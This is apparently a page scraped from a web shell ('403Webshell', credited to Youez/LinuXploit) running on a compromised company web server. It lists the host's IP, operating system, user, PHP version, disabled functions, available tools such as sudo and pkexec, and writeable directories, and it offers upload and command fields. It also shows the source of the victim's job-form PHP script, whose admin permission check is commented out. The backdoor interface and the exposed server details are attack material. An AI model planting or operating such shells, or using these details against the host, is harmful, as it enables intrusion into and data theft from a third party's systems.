403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/onesupportdemo.onesolution.hk/call_in_job/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/onesupportdemo.onesolution.hk/call_in_job/addform.php
<?php
require_once(__DIR__ . '/../checkuser.php');
function add() {
	global $dbh, $sqlsrv_dbh;
	
	//-----------------------------------------------------------------------------
	// Check permission
	//-----------------------------------------------------------------------------
//	if (!Util::isAdmin()) {
//		redirectAndExit('index.php?message=No permission!');
//	}

	//-----------------------------------------------------------------------------
	// Define job
	//-----------------------------------------------------------------------------
	$now = new DateTime;
	$job = array(
		'actived' => 1,
		'deleted' => 0,
		'status' => 1, // Open
		'call_date' => Util::date_to_string($now),
		'call_time' => Util::time_to_string($now),
	);
	
	if (!Util::isAdmin()) {
		$job = array_merge($job, array(
			'type' => 4, // Remote service call
			'staff_id' => $_SESSION['webadmin']['id'], // staff self
		));
	}
	
	require(__DIR__ . '/add.php');

	//-----------------------------------------------------------------------------
	// Return array parameters
	//-----------------------------------------------------------------------------
	$sql = "SELECT * FROM v_cm_customer_support V_CM_CUSTOMER_SUPPORT ORDER BY company_name";
	if (!($sth = $dbh->prepare($sql))) {
		throw new Exception("sql prepare statement failure: $sql");
	}
	$sth->setFetchMode(PDO::FETCH_ASSOC);
	if (!$sth->execute()) {
		throw new Exception("sql execute statement failure: $sql");
	}
	$customers = $sth->fetchAll();
	
	$sql = "SELECT * FROM sys_login WHERE deleted = ? ORDER BY username";
	$parameters = array(0);
	if (!($sth = $dbh->prepare($sql))) {
		throw new Exception("sql prepare statement failure: $sql");
	}
	$sth->setFetchMode(PDO::FETCH_ASSOC);
	if (!$sth->execute($parameters)) {
		throw new Exception("sql execute statement failure: $sql");
	}
	$staffs = $sth->fetchAll();

	
	return array(
		'job' => $job,
		'typeOptions' => Job::typeOptions(),
		'customers' => $customers,
		'staffs' => $staffs,
	);
}
extract(add());

require(__DIR__ . '/views/form.php');

Youez - 2016 - github.com/yon3zu
LinuXploit